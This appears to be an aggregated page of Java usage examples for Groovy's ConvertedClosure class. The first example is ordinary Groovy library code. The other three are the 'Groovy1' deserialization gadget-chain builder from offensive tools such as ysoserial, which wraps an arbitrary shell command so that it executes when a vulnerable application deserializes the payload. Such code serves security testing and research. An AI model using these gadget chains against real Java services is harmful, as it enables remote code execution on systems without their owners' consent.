org.codehaus.groovy.runtime.ConvertedClosure Java Examples

The following examples show how to use org.codehaus.groovy.runtime.ConvertedClosure. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CachedSAMClass.java    From groovy with Apache License 2.0 6 votes vote down vote up
@SuppressWarnings("unchecked")
public static Object coerceToSAM(Closure argument, Method method, Class clazz, boolean isInterface) {
    if (argument!=null && clazz.isAssignableFrom(argument.getClass())) {
        return argument;
    }
    if (isInterface) {
        if (Traits.isTrait(clazz)) {
            Map<String,Closure> impl = Collections.singletonMap(
                    method.getName(),
                    argument
            );
            return ProxyGenerator.INSTANCE.instantiateAggregate(impl,Collections.singletonList(clazz));
        }
        return Proxy.newProxyInstance(
                clazz.getClassLoader(),
                new Class[]{clazz},
                new ConvertedClosure(argument));
    } else {
        Map<String, Object> m = new HashMap<String,Object>();
        m.put(method.getName(), argument);
        return ProxyGenerator.INSTANCE.
                instantiateAggregateFromBaseClass(m, clazz);
    }
}
 
Example #2
Source File: Groovy1.java    From ysoserial-modified with MIT License 3 votes vote down vote up
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(cmdHelper.getCommand(), "execute"), "entrySet");
	
	final Map map = Gadgets.createProxy(closure, Map.class);		

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
	
	return handler;
}
 
Example #3
Source File: Groovy1.java    From JavaSerialKiller with MIT License 3 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
	
	final Map map = Gadgets.createProxy(closure, Map.class);		

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
	
	return handler;
}
 
Example #4
Source File: Groovy1.java    From ysoserial with MIT License 3 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");

	final Map map = Gadgets.createProxy(closure, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);

	return handler;
}